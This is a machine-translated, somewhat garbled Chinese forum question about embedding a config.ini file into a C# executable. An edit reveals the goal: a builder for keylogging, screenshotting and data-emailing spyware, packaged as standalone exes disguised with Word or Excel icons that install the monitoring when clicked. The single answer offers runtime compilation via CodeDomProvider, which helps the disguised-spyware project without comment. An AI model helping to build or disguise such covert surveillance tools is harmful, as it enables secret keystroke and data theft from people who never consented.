我有2個應用程序和一個config.ini文件。將config.ini嵌入exe文件
- 經理項目
- 主項目
主要項目是編譯並添加到項目經理(如資源)。 另外主項目從config.ini文件獲取設置。
從店長的項目,我可以節省MainProject那樣:
File.WriteAllBytes("MainProject.exe", ManagerProject.Properties.Resources.MainProject); //get MainProject exe an save it
然後,我可以寫MainProject.exe config.ini中:
StreamWriter sw = new StreamWriter("config.ini");
sw.WriteLine("1"); //whatever
sw.Close();
但我想加入這個兩個文件( config.ini和MainProject.exe)合併成一個exe文件。 用戶看不到config.ini。
我在考慮添加config.ini作爲資源文件,但是可以這樣做,當項目已編譯?
我該怎麼辦?
//編輯
我有計劃,是間諜(讓screenshoots,記錄鍵盤到文件等)。 在我的ManagerProject中,我有安裝監視,卸載和配置等選項。
我想做「使用我的配置創建獨立顯示器」。這個選項應該創建帶有指定設置(製作屏幕截圖,電子郵件數據等的頻率)的.exe文件,例如使用word或excel圖標。這個自定義配置的獨立exe應該在點擊後安裝監控。
但我有合併EXE和config.ini文件合併成一個文件的問題...
任何想法如何,我可以解決這個問題?
回答:CodeDomProvider provider = CodeDomProvider.CreateProvider(「CSharp」); http://support.microsoft.com/kb/304655 – Kaki 2013-04-29 16:06:54